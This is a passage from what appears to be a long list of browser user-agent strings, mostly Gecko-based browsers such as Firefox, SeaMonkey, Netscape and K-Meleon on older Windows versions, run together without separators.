Win98; en-US; rv:1.5) Gecko/20031007 Firebird/0.7 Mozilla/5.0 (Windows; U; Win98; en-US; rv:1.5) Gecko/20031016 K-Meleon/0.8.2 Mozilla/5.0 (Windows; U; Win98; en-US; rv:1.6) Gecko/20040206 Firefox/0.8 Mozilla/5.0 (Windows; U; Win98; en-US; rv:1.7) Gecko/20040616 Mozilla/5.0 (Windows; U; Win98; en-US; rv:1.7.10) Gecko/20050716 (No IDN) Firefox/1.0.6 Mozilla/5.0 (Windows; U; Win98; en-US; rv:1.7.10) Gecko/20050716 Firefox/1.0.6 Mozilla/5.0 (Windows; U; Win98; en-US; rv:1.7.12) Gecko/20050915 Mozilla/5.0 (Windows; U; Win98; en-US; rv:1.7.12) Gecko/20050915 Firefox/1.0.7 Mozilla/5.0 (Windows; U; Win98; en-US; rv:1.7.12) Gecko/20050915 Firefox/1.0.7 (ax) Mozilla/5.0 (Windows; U; Win98; en-US; rv:1.7.12) Gecko/20051002 Mozilla/5.0 (Windows; U; Win98; en-US; rv:1.7.13) Gecko/20060410 Firefox/1.0.8 Mozilla/5.0 (Windows; U; Win98; en-US; rv:1.7.2) Gecko/20040804 Netscape/7.1 (ax) Mozilla/5.0 (Windows; U; Win98; en-US; rv:1.7.2) Gecko/20040804 Netscape/7.2 (ax) Mozilla/5.0 (Windows; U; Win98; en-US; rv:1.7.3) Gecko/20040910 Mozilla/5.0 (Windows; U; Win98; en-US; rv:1.7.5) Gecko/20041107 Firefox/1.0 Mozilla/5.0 (Windows; U; Win98; en-US; rv:1.7.5) Gecko/20041220 K-Meleon/0.9 Mozilla/5.0 (Windows; U; Win98; en-US; rv:1.7.5) Gecko/20050603 Netscape/8.0.2 Mozilla/5.0 (Windows; U; Win98; en-US; rv:1.7.5) Gecko/20060127 Netscape/8.1 Mozilla/5.0 (Windows; U; Win98; en-US; rv:1.7.6) Gecko/20050225 Firefox/1.0.1 Mozilla/5.0 (Windows; U; Win98; en-US; rv:1.7.6) Gecko/20050317 Firefox/1.0.2 Mozilla/5.0 (Windows; U; Win98; en-US; rv:1.7.6) Gecko/20050317 Firefox/1.0.2 (ax) Mozilla/5.0 (Windows; U; Win98; en-US; rv:1.7.7) Gecko/20050414 Firefox/1.0.3 Mozilla/5.0 (Windows; U; Win98; en-US; rv:1.7.8) Gecko/20050511 Mozilla/5.0 (Windows; U; Win98; en-US; rv:1.7.8) Gecko/20050511 Firefox/1.0.4 Mozilla/5.0 (Windows; U; Win98; en-US; rv:1.8) Gecko/20051111 Firefox/1.5 Mozilla/5.0 (Windows; U; Win98; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1 Mozilla/5.0 (Windows; U; Win98; en-US; rv:1.8.0.1) Gecko/20060130 SeaMonkey/1.0 Mozilla/5.0 (Windows; U; Win98; en-US; rv:1.8.0.12) Gecko/20070508 Firefox/1.5.0.12 Mozilla/5.0 (Windows; U; Win98; en-US; rv:1.8.0.2) Gecko/20060308 Firefox/1.5.0.2 Mozilla/5.0 (Windows; U; Win98; en-US; rv:1.8.0.2) Gecko/20060404 SeaMonkey/1.0.1 Mozilla/5.0 (Windows; U; Win98; en-US; rv:1.8.0.4) Gecko/20060508 Firefox/1.5.0.4 Mozilla/5.0 (Windows; U; Win98; en-US; rv:1.8.0.6) Gecko/20060728 Firefox/1.5.0.6 Mozilla/5.0 (Windows; U; Win98; en-US; rv:1.8.0.6) Gecko/20060729 SeaMonkey/1.0.4 Mozilla/5.0 (Windows; U; Win98; en-US; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7 Mozilla/5.0 (Windows; U; Win98; en-US; rv:1.8.0.7) Gecko/20060910 SeaMonkey/1.0.5 Mozilla/5.0 (Windows; U; Win98; en-US; rv:1.8.0.7) Gecko/20060917 K-Meleon/1.02 Mozilla/5.0 (Windows; U; Win98; en-US; rv:1.8.0.7) Gecko/20060917 K-Ninja/2.0.4 Mozilla/5.0 (Windows; U; Win98; en-US; rv:1.8.0.8) Gecko/20061025 Firefox/1.5.0.8 Mozilla/5.0 (Windows; U; Win98; en-US; rv:1.8.0.8) Gecko/20061030 SeaMonkey/1.0.6 Mozilla/5.0 (Windows; U; Win98; en-US; rv:1.8.0.9) Gecko/20061206 Firefox/1.5.0.9 Mozilla/5.0 (Windows; U; Win98; en-US; rv:1.8.0.9) Gecko/20061211 SeaMonkey/1.0.7 Mozilla/5.0 (Windows; U; Win98; en-US; rv:1.8.1) Gecko/20061010 Firefox/2.0 Mozilla/5.0 (Windows; U; Win98; en-US; rv:1.8.1) Gecko/20061101 SeaMonkey/1.1b Mozilla/5.0 (Windows; U; Win98; en-US; rv:1.8.1.12) Gecko/20080201 Firefox/2.0.0.12 Mozilla/5.0 (Windows; U; Win98; en-US; rv:1.8.1.12) Gecko/20080201 SeaMonkey/1.1.8 Mozilla/5.0 (Windows; U; Win98; en-US; rv:1.8.1.13) Gecko/20080313 SeaMonkey/1.1.9 Mozilla/5.0 (Windows; U; Win98; en-US; rv:1.8.1.16) Gecko/20080702 Firefox/2.0.0.16 Mozilla/5.0 (Windows; U; Win98; en-US; rv:1.8.1.17) Gecko/20080829 Mozilla/5.0 (X11; U; Linux armv7l; en-US; rv:1.9.2a1pre) Gecko/20090322 Fennec/1.0b2pre Mozilla/5.0 (Windows; U; Win98; en-US; rv:1.8.1.17) Gecko/20080919 K-Meleon/1.5.1 Mozilla/5.0 (Windows; U; Win98; en-US; rv:1.8.1.17pre) Gecko/20080716 K-Meleon/1.1.6 Mozilla/5.0 (Windows; U; Win98; en-US; rv:1.8.1.19) Gecko/20081204 SeaMonkey/1.1.14 Mozilla/5.0 (Windows; U; Win98; en-US; rv:1.8.1.19) Gecko/20081217 K-Meleon/1.5.2 Mozilla/5.0 (Windows; U; Win98; en-US; rv:1.8.1.2) Gecko/20070222 SeaMonkey/1.1.1 Mozilla/5.0 (Windows; U; Win98; en-US; rv:1.8.1.21) Gecko/20090331 K-Meleon/1.5.3 Mozilla/5.0 (Windows; U; Win98; en-US; rv:1.8.1.23) Gecko/20090825 MultiZilla/1.8.3.4e SeaMonkey/1.1.18 Mozilla/5.0 (Windows; U; Win98; en-US; rv:1.8.1.24) Gecko/20100228 Firefox/3.6 Mozilla/5.0 (Windows; U; Win98; en-US; rv:1.8.1.24) Gecko/20100228 K-Meleon/1.5.4 Mozilla/5.0 (Windows; U; Win98; en-US; rv:1.8.1.24) Gecko/20100228 SeaMonkey/1.1.19 Mozilla/5.0 (Windows; U; Win98; en-US; rv:1.8.1.24pre) Gecko/20091010 K-Meleon/1.5.4 Mozilla/5.0 (Windows; U; Win98; en-US; rv:1.8.1.2pre) Gecko/20070111 SeaMonkey/1.1 Mozilla/5.0 (Windows; U; Win98; en-US; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3 Mozilla/5.0 (Windows; U; Win98; en-US; rv:1.8.1.4) Gecko/20070509 SeaMonkey/1.1.2 Mozilla/5.0 (Windows; U; Win98; en-US; rv:1.8.1.4) Gecko/20070515 Firefox/2.0.0.4 Mozilla/5.0 (Windows; U; Win98; en-US; rv:1.8.1.4pre) Gecko/20070404 K-Ninja/2.1.3 Mozilla/5.0 (Windows; U; Win98; en-US; rv:1.8.1.6) Gecko/20070725 Firefox/2.0.0.6 Mozilla/5.0 (Windows; U; Win98; en-US; rv:1.8.1.6) Gecko/20070802 SeaMonkey/1.1.4 Mozilla/5.0 (Windows; U; Win98; en-US; rv:1.8.1.8pre) Gecko/20070928 Firefox/2.0.0.7 Navigator/9.0RC1 Mozilla/5.0 (Windows; U; Win98; en-US; rv:1.8.1.8pre) Gecko/20071019 Firefox/2.0.0.8 Navigator/9.0.0.1 Mozilla/5.0 (Windows; U; Win98; en-US; rv:1.8.1.9) Gecko/20071030 SeaMonkey/1.1.6 Mozilla/5.0 (Windows; U; Win98; en-US; rv:1.8.1.9pre) Gecko/20071102 Firefox/2.0.0.9 Navigator/9.0.0.3 Mozilla/5.0 (Windows; U; Win98; en-US; rv:1.8.3) Gecko/20070309 Firefox/2.0.0.3 Mozilla/5.0 (Windows; U; Win98; en-US; rv:1.8a6) Gecko/20050111 Mozilla/5.0 (Windows; U; Win98; en-US; rv:x.xx) Gecko/20030423 Firebird Browser/0.6 Mozilla/5.0 (Windows; U; Win98; es-AR; rv:1.8) Gecko/20051111 Firefox/1.5 Mozilla/5.0 (Windows; U; Win98; es-AR; rv:1.8.0.4) Gecko/20060508 Firefox/1.5.0.4 Mozilla/5.0 (Windows; U; Win98; es-ES; rv:1.7.7) Gecko/20050414 Firefox/1.0.3 Mozilla/5.0 (Windows; U; Win98; fr-FR; rv:0.9.4) Gecko/20011019 Netscape6/6.2 Mozilla/5.0 (Windows; U; Win98; fr-FR; rv:0.9.4) Gecko/20011128 Netscape6/6.2.1 Mozilla/5.0 (Windows; U; Win98; fr-FR; rv:0.9.4.1) Gecko/20020508 Netscape6/6.2.3 Mozilla/5.0 (Windows; U; Win98; fr-FR; rv:1.0.1) Gecko/20020823 Netscape/7.0 Mozilla/5.0 (Windows; U; Win98; fr-FR; rv:1.0.2) Gecko/20030208 Netscape/7.02 Mozilla/5.0 (Windows; U; Win98; fr-FR; rv:1.7.10) Gecko/20050717 Firefox/1.0.6 Mozilla/5.0 (Windows; U; Win98; fr-FR; rv:1.7.12) Gecko/20050919 Firefox/1.0.7 Mozilla/5.0 (Windows; U; Win98; fr-FR; rv:1.7.5) Gecko/20041108 Firefox/1.0 Mozilla/5.0 (Windows; U; Win98; fr-FR; rv:1.7.6) Gecko/20050226 Firefox/1.0.1 Mozilla/5.0 (Windows; U; Win98; fr-FR; rv:1.7.6) Gecko/20050318 Firefox/1.0.2 Mozilla/5.0 (Windows; U; Win98; fr-FR; rv:1.7.7) Gecko/20050414 Firefox/1.0.3 Mozilla/5.0 (Windows; U; Win98; fr; rv:1.4) Gecko/20030624 Mozilla/5.0 (Windows; U; Win98; fr; rv:1.7.3) Gecko/20040910 Mozilla/5.0 (Windows; U; Win98; fr; rv:1.8) Gecko/20051111 Firefox/1.5 Mozilla/5.0 (Windows; U; Win98; fr; rv:1.8.0.4) Gecko/20060508 Firefox/1.5.0.4 Mozilla/5.0 (Windows; U; Win98; fr; rv:1.8.1.14) Gecko/20080404 Firefox/2.0.0.14 Mozilla/5.0 (Windows; U; Win98; it-IT; rv:1.0.0) Gecko/20020530 Mozilla/5.0 (Windows; U; Win98; it-IT; rv:1.7.12) Gecko/20050919 Firefox/1.0.7 Mozilla/5.0 (Windows; U; Win98; it-IT; rv:1.7.12) Gecko/20050919 Firefox/1.0.7 (ax) Mozilla/5.0 (Windows; U; Win98; it; rv:1.8.0.12) Gecko/20070508 Firefox/1.5.0.12 Mozilla/5.0 (Windows; U; Win98; it; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7 Mozilla/5.0 (Windows; U; Win98; ja-JP; rv:1.4) Gecko/20030624 Netscape/7.1 (ax) Mozilla/5.0 (Windows; U; Win98; nl-NL; rv:1.7.12) Gecko/20050919 Firefox/1.0.7 Mozilla/5.0 (Windows; U; Win98; pl-PL; rv:1.7.10) Gecko/20050717 Firefox/1.0.6 Mozilla/5.0 (Windows; U; Win98; pl-PL; rv:1.7.12) Gecko/20050919 Firefox/1.0.7 Mozilla/5.0 (Windows; U; Win98; pl; rv:1.8) Gecko/20051111 Firefox/1.5 Mozilla/5.0 (Windows; U; Win98; pl; rv:1.8.1.6) Gecko/20070725 Firefox/2.0.0.6 Mozilla/5.0 (Windows; U; Win98; pt-BR; rv:1.7.12) Gecko/20050919 Firefox/1.0.7 Mozilla/5.0 (Windows; U; Win98; pt-BR; rv:1.8.0.4) Gecko/20060508 Firefox/1.5.0.4 Mozilla/5.0 (Windows; U; Win98; ru; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1 Mozilla/5.0 (Windows; U; Win98; rv:1.7.3) Gecko/20040913 Firefox/0.10 Mozilla/5.0 (Windows; U; Win98; rv:1.7.3) Gecko/20041001 Firefox/0.10.1 Mozilla/5.0 (Windows; U; Win98; zh-TW; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3 Mozilla/5.0 (Windows; U; Win9x; en; Stable) Gecko/20020911 Beonex/0.8.1-stable Mozilla/5.0 (Windows; U; WinNT3.51; en-US; rv:1.8.1.8) Gecko/20071009 SeaMonkey/1.1.5 Mozilla/5.0 (Windows; U; WinNT4.0; de-AT; rv:1.0.2) Gecko/20021120 Netscape/7.01 Mozilla/5.0 (Windows; U; WinNT4.0; de-AT; rv:1.1) Gecko/20020826 Mozilla/5.0 (Windows; U; WinNT4.0; de-AT; rv:1.2) Gecko/20021126 Mozilla/5.0 (Windows; U; WinNT4.0; de-AT; rv:1.2.1) Gecko/20021130 Mozilla/5.0 (Windows; U; WinNT4.0; de-AT; rv:1.3.1) Gecko/20030425 Mozilla/5.0 (Windows; U; WinNT4.0; de-AT; rv:1.7.11) Gecko/20050728 Mozilla/5.0 (Windows; U; WinNT4.0; de-DE; rv:0.9.2) Gecko/20010726 Netscape6/6.1 Mozilla/5.0 (Windows; U; WinNT4.0; de-DE; rv:0.9.4) Gecko/20011019 Netscape6/6.2 Mozilla/5.0 (Windows; U; WinNT4.0; de-DE; rv:0.9.4) Gecko/20011128 Netscape6/6.2.1 Mozilla/5.0 (Windows; U; WinNT4.0; de-DE; rv:0.9.4.1) Gecko/20020314 Netscape6/6.2.2 Mozilla/5.0 (Windows; U; WinNT4.0; de-DE; rv:0.9.4.1) Gecko/20020508 Netscape6/6.2.3 Mozilla/5.0 (Windows; U; WinNT4.0; de-DE; rv:1.0.1) Gecko/20020823 Netscape/7.0 Mozilla/5.0 (Windows; U; WinNT4.0; de-DE; rv:1.0.2) Gecko/20021120 Netscape/7.01 Mozilla/5.0 (Windows; U; WinNT4.0; de-DE; rv:1.0.2) Gecko/20030208 Netscape/7.02 Mozilla/5.0 (Windows; U; WinNT4.0; de-DE; rv:1.7.12) Gecko/20050919 Firefox/1.0.7 Mozilla/5.0 (Windows; U; WinNT4.0; de-DE; rv:1.7.5) Gecko/20041108 Firefox/1.0 Mozilla/5.0 (Windows; U; WinNT4.0; de-DE; rv:1.7.6) Gecko/20050226 Firefox/1.0.1 Mozilla/5.0 (Windows; U; WinNT4.0; de-DE; rv:1.7.8) Gecko/20050511 Firefox/1.0.4 Mozilla/5.0 (Windows; U; WinNT4.0; de; rv:1.8) Gecko/20051025 Firefox/1.5 Mozilla/5.0 (Windows; U; WinNT4.0; en-CA; rv:0.9.4) Gecko/20011128 Netscape6/6.2.1 Mozilla/5.0 (Windows; U; WinNT4.0; en-GB; rv:1.0.1) Gecko/20020823 Netscape/7.0 Mozilla/5.0 (Windows; U; WinNT4.0; en-GB; rv:1.8.1.2) Gecko/20070219 Firefox/2.0.0.2 Mozilla/5.0 (Windows; U; WinNT4.0; en-US; 1.2.1) Gecko/20021130 Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:0.9.4) Gecko/20011019 Netscape6/6.2 Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:0.9.4) Gecko/20011128 Netscape6/6.2.1 Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:0.9.4.1) Gecko/20020314 Netscape6/6.2.2 Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:0.9.4.1) Gecko/20020508 Netscape6/6.2.3 Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:0.9.5) Gecko/20011011 Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.0.0) Gecko/20020530 Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.0.1) Gecko/20020823 Netscape/7.0 Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.0.1) Gecko/20020826 Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.0.2) Gecko/20021120 Netscape/7.01 Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.1) Gecko/20020826 Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.1a) Gecko/20020611 Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.2) Gecko/20021126 Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.2.1) Gecko/20021130 Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.2b) Gecko/20021001 Phoenix/0.2 Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.2b) Gecko/20021016 Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.2b) Gecko/20021016 K-Meleon 0.7 Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.2b) Gecko/20021029 Phoenix/0.4 Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.3) Gecko/20030312 Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.3a) Gecko/20021207 Phoenix/0.5 Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.3a) Gecko/20021212 Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.4) Gecko/20030624 Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.4) Gecko/20030624 Netscape/7.1 (ax) Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.4a) Gecko/20030401 Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.4b) Gecko/20030507 Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.4b) Gecko/20030610 Mozilla Firebird/0.6 Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.5) Gecko/20031016 K-Meleon/0.8 Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.7) Gecko/20040616 Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.7.12) Gecko/20050915 Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.7.12) Gecko/20050915 Firefox/1.0.7 Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.7.5) Gecko/20041107 Firefox/1.0 Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.7.8) Gecko/20050511 Firefox/1.0.4 Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.7.9) Gecko/20050711 Firefox/1.0.5 Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8) Gecko/20051111 Firefox/1.5 Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7 Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.1.16) Gecko/20080702 Firefox/2.0.0.16 Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3 Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.1.4) Gecko/20070515 Firefox/2.0.0.4 Mozilla/5.0 (Windows; U; WinNT4.0; fr-FR; rv:0.9.2) Gecko/20010726 Netscape6/6.1 Mozilla/5.0 (Windows; U; WinNT4.0; fr-FR; rv:0.9.4) Gecko/20011128 Netscape6/6.2.1 Mozilla/5.0 (Windows; U; WinNT4.0; fr-FR; rv:0.9.4.1) Gecko/20020508 Netscape6/6.2.3 Mozilla/5.0 (Windows; U; WinNT4.0; fr-FR; rv:1.0.0) Gecko/20020530 Mozilla/5.0 (Windows; U; WinNT4.0; fr-FR; rv:1.0.1) Gecko/20020823 Netscape/7.0 Mozilla/5.0 (Windows; U; WinNT4.0; fr-FR; rv:1.0.2) Gecko/20021120 Netscape/7.01 Mozilla/5.0 (Windows; U; WinNT4.0; fr; rv:1.8.1) Gecko/20061003 Firefox/2.0 Mozilla/5.0 (Windows; U; WinNT4.0; it-IT; rv:1.4b) Gecko/20030507 Mozilla/5.0 (Windows; U; WinNT4.0; zh-CN; rv:1.8.1) Gecko/20061010 Firefox/2.0 Mozilla/5.0 (Windows; U; WinNT; en; Preview) Gecko/20020603 Beonex/0.8-stable Mozilla/5.0 (Windows; U; WinNT; en; rv:1.0.2) Gecko/20030311 Beonex/0.8.2-stable Mozilla/5.0 (Windows; U; Windows 95; ru-RU; rv:1.9.0.6) Gecko/2009011913 Firefox/1.0.4 Mozilla/5.0 (Windows; U; Windows 98; en-US; rv:1.8.1.5pre) Gecko/20070710 Firefox/2.0.0.4 Navigator/9.0b2 Mozilla/5.0 (Windows; U; Windows 98; en-US; rv:1.8.1.8pre) Gecko/20071019 Firefox/2.0.0.8 Navigator/9.0.0.1 Mozilla/5.0 (Windows; U; Windows CE 4.20; rv:1.8) Gecko/20060215 Minimo/0.013 Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007 Mozilla/5.0 (Windows; U; Windows CE 5.1; rv:1.8) Gecko/20060428 Minimo/0.015 Mozilla/5.0 (Windows; U; Windows CE 5.1; rv:1.8.1.4pre) Gecko/20070327 Minimo/0.020 Mozilla/5.0 (Windows; U; Windows CE 5.1; rv:1.8.1a3) Gecko/20060610 Minimo/0.016 Mozilla/5.0 (Windows; U; Windows CE 5.2; en-US; rv:1.9.2a1pre) Gecko/20090210 Fennec/0.11 Mozilla/5.0 (Windows; U; Windows CE 5.2; rv:1.8.1.4pre) Gecko/20070327 Minimo/0.020 Mozilla/5.0 (Windows; U; Windows CE 5.2; rv:1.8.1a3) Gecko/20060610 Minimo/0.016 Mozilla/5.0 (Windows; U; Windows CE 6.0; en-US; rv:1.9.2a1pre) Gecko/20090219 Minefield/3.2a1pre Mozilla/5.0 (Windows; U; Windows CE; Mobile; like Android; ko-kr) AppleWebKit/533.3 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.3 Dorothy Mozilla/5.0 (Windows; U; Windows CE; Mobile; like iPhone; ko-kr) AppleWebKit/533.3 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.3 Dorothy Mozilla/5.0 (Windows; U; Windows NT 3.51; en-GB; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1 Mozilla/5.0 (Windows; U; Windows NT 4.0; SG; rv:1.7.5) Gecko/20050610 Netscape/8.0.2 Mozilla/5.0 (Windows; U; Windows NT 4.0; en-US; rv:1.8.0.2) Gecko/20060418 Firefox/1.5.0.2; Mozilla/5.0 (Windows; U; Windows NT 5.0; ; rv:1.8.0.1) Gecko/20060111 Firefox/1.9.0 Mozilla/5.0 (Windows; U; Windows NT 5.0; ; rv:1.8.0.10) Gecko/20070216 Firefox/1.9.0.1 Mozilla/5.0 (Windows; U; Windows NT 5.0; ; rv:1.8.0.7) Gecko/20060917 Firefox/1.9.0.1 Mozilla/5.0 (Windows; U; Windows NT 5.0; cs-CZ; rv:1.7.5) Gecko/20041217 Mozilla/5.0 (Windows; U; Windows NT 5.0; cs-CZ; rv:1.7.8) Gecko/20050511 Firefox/1.0.4 Mozilla/5.0 (Windows; U; Windows NT 5.0; cs; rv:1.8.0.10) Gecko/20070216 Firefox/1.5.0.10 Mozilla/5.0 (Windows; U; Windows NT 5.0; cs; rv:1.8.0.11) Gecko/20070312 Firefox/1.5.0.11 Mozilla/5.0 (Windows; U; Windows NT 5.0; cs; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7 Mozilla/5.0 (Windows; U; Windows NT 5.0; cs; rv:1.8.0.8) Gecko/20061025 Firefox/1.5.0.8 Mozilla/5.0 (Windows; U; Windows NT 5.0; cs; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3 Mozilla/5.0 (Windows; U; Windows NT 5.0; cs; rv:1.8.1.4) Gecko/20070515 Firefox/2.0.0.4 Mozilla/5.0 (Windows; U; Windows NT 5.0; da-DK; rv:1.7.12) Gecko/20050919 Firefox/1.0.7 Mozilla/5.0 (Windows; U; Windows NT 5.0; de-AT; rv:0.9.8) Gecko/20020204 Mozilla/5.0 (Windows; U; Windows NT 5.0; de-AT; rv:1.0.0) Gecko/20020530 Mozilla/5.0 (Windows; U; Windows NT 5.0; de-AT; rv:1.0.1) Gecko/20020826 Mozilla/5.0 (Windows; U; Windows NT 5.0; de-AT; rv:1.0rc2) Gecko/20020510 Mozilla/5.0 (Windows; U; Windows NT 5.0; de-AT; rv:1.1) Gecko/20020826 Mozilla/5.0 (Windows; U; Windows NT 5.0; de-AT; rv:1.1b) Gecko/20020721 Mozilla/5.0 (Windows; U; Windows NT 5.0; de-AT; rv:1.2) Gecko/20021126 Mozilla/5.0 (Windows; U; Windows NT 5.0; de-AT; rv:1.2.1) Gecko/20021130 Mozilla/5.0 (Windows; U; Windows NT 5.0; de-AT; rv:1.3.1) Gecko/20030425 Mozilla/5.0 (Windows; U; Windows NT 5.0; de-AT; rv:1.3a) Gecko/20021212 Mozilla/5.0 (Windows; U; Windows NT 5.0; de-AT; rv:1.3b) Gecko/20030210 Mozilla/5.0 (Windows; U; Windows NT 5.0; de-AT; rv:1.5) Gecko/20031007 Mozilla/5.0 (Windows; U; Windows NT 5.0; de-AT; rv:1.6) Gecko/20040113 Mozilla/5.0 (Windows; U; Windows NT 5.0; de-AT; rv:1.7) Gecko/20040616 Mozilla/5.0 (Windows; U; Windows NT 5.0; de-AT; rv:1.7.11) Gecko/20050728 Mozilla/5.0 (Windows; U; Windows NT 5.0; de-AT; rv:1.7.12) Gecko/20050915 Mozilla/5.0 (Windows; U; Windows NT 5.0; de-AT; rv:1.7.13) Gecko/20060414 Mozilla/5.0 (Windows; U; Windows NT 5.0; de-AT; rv:1.7.6) Gecko/20050319 Mozilla/5.0 (Windows; U; Windows NT 5.0; de-AT; rv:1.7.7) Gecko/20050414 Mozilla/5.0 (Windows; U; Windows NT 5.0; de-AT; rv:1.7.8) Gecko/20050511 Mozilla/5.0 (Windows; U; Windows NT 5.0; de-AT; rv:1.7.8) Gecko/20050511 (No IDN) Mozilla/5.0 (Windows; U; Windows NT 5.0; de-AT; rv:1.7b) Gecko/20040421 Mozilla/5.0 (Windows; U; Windows NT 5.0; de-AT; rv:1.8) Gecko/20051219 SeaMonkey/1.0b Mozilla/5.0 (Windows; U; Windows NT 5.0; de-AT; rv:1.8.0.8) Gecko/20061030 SeaMonkey/1.0.6 Mozilla/5.0 (Windows; U; Windows NT 5.0; de-AT; rv:1.8.1.16) Gecko/20080702 SeaMonkey/1.1.11 Mozilla/5.0 (Windows; U; Windows NT 5.0; de-AT; rv:1.8.1.16) Gecko/20080702 SeaMonkey/1.1.11 Mnenhy/0.7.5.0 Mozilla/5.0 (Windows; U; Windows NT 5.0; de-AT; rv:1.8.1.21) Gecko/20090303 SeaMonkey/1.1.15 Mozilla/5.0 (Windows; U; Windows NT 5.0; de-AT; rv:1.8.1.21) Gecko/20090303 SeaMonkey/1.1.15 Mnenhy/0.7.6.0 Mozilla/5.0 (Windows; U; Windows NT 5.0; de-AT; rv:1.8.1.22) Gecko/20090605 SeaMonkey/1.1.17 Mozilla/5.0 (Windows; U; Windows NT 5.0; de-AT; rv:1.8.1.4) Gecko/20070509 SeaMonkey/1.1.2 Mozilla/5.0 (Windows; U; Windows NT 5.0; de-AT; rv:1.8a4) Gecko/20040927 Mozilla/5.0 (Windows; U; Windows NT 5.0; de-DE; rv:0.9.2) Gecko/20010726 Netscape6/6.1 Mozilla/5.0 (Windows; U; Windows NT 5.0; de-DE; rv:0.9.4) Gecko/20011128 Netscape6/6.2.1 Mozilla/5.0 (Windows; U; Windows NT 5.0; de-DE; rv:0.9.4.1) Gecko/20020314 Netscape6/6.2.2 Mozilla/5.0 (Windows; U; Windows NT 5.0; de-DE; rv:0.9.4.1) Gecko/20020508 Netscape6/6.2.3 Mozilla/5.0 (Windows; U; Windows NT 5.0; de-DE; rv:1.0.1) Gecko/20020823 Netscape/7.0 Mozilla/5.0 (Windows; U; Windows NT 5.0; de-DE; rv:1.0.2) Gecko/20021120 Netscape/7.01 Mozilla/5.0 (Windows; U; Windows NT 5.0; de-DE; rv:1.0.2) Gecko/20030208 Netscape/7.02 Mozilla/5.0 (Windows; U; Windows NT 5.0; de-DE; rv:1.0rc2) Gecko/20020512 Netscape/7.0b1 Mozilla/5.0 (Windows; U; Windows NT 5.0; de-DE; rv:1.4) Gecko/20030619 Netscape/7.1 (ax) Mozilla/5.0 (Windows; U; Windows NT 5.0; de-DE; rv:1.4) Gecko/20030624 Netscape/7.1 (ax) Mozilla/5.0 (Windows; U; Windows NT 5.0; de-DE; rv:1.4b) Gecko/20030516 Mozilla Firebird/0.6 Mozilla/5.0 (Windows; U; Windows NT 5.0; de-DE; rv:1.5a) Gecko/20030728 Mozilla Firebird/0.6.1 Mozilla/5.0 (Windows; U; Windows NT 5.0; de-DE; rv:1.6) Gecko/20040206 Firefox/0.8 Mozilla/5.0 (Windows; U; Windows NT 5.0; de-DE; rv:1.6) Gecko/20040206 Firefox/1.0.1 Mozilla/5.0 (Windows; U; Windows NT 5.0; de-DE; rv:1.7) Gecko/20040626 Firefox/0.9.1 Mozilla/5.0 (Windows; U; Windows NT 5.0; de-DE; rv:1.7) Gecko/20040803 Firefox/0.9.3 Mozilla/5.0 (Windows; U; Windows NT 5.0; de-DE; rv:1.7.10) Gecko/20050717 Firefox/1.0.6 Mozilla/5.0 (Windows; U; Windows NT 5.0; de-DE; rv:1.7.12) Gecko/20050919 Firefox/1.0.7 Mozilla/5.0 (Windows; U; Windows NT 5.0; de-DE; rv:1.7.12) Gecko/20050919 Firefox/1.0.7 (ax) Mozilla/5.0 (Windows; U; Windows NT 5.0; de-DE; rv:1.7.2) Gecko/20040804 Netscape/7.2 (ax) Mozilla/5.0 (Windows; U; Windows NT 5.0; de-DE; rv:1.7.5) Gecko/20041108 Firefox/1.0 Mozilla/5.0 (Windows; U; Windows NT 5.0; de-DE; rv:1.7.5) Gecko/20041122 Firefox/1.0 Mozilla/5.0 (Windows; U; Windows NT 5.0; de-DE; rv:1.7.6) Gecko/20050223 Firefox/1.0.1 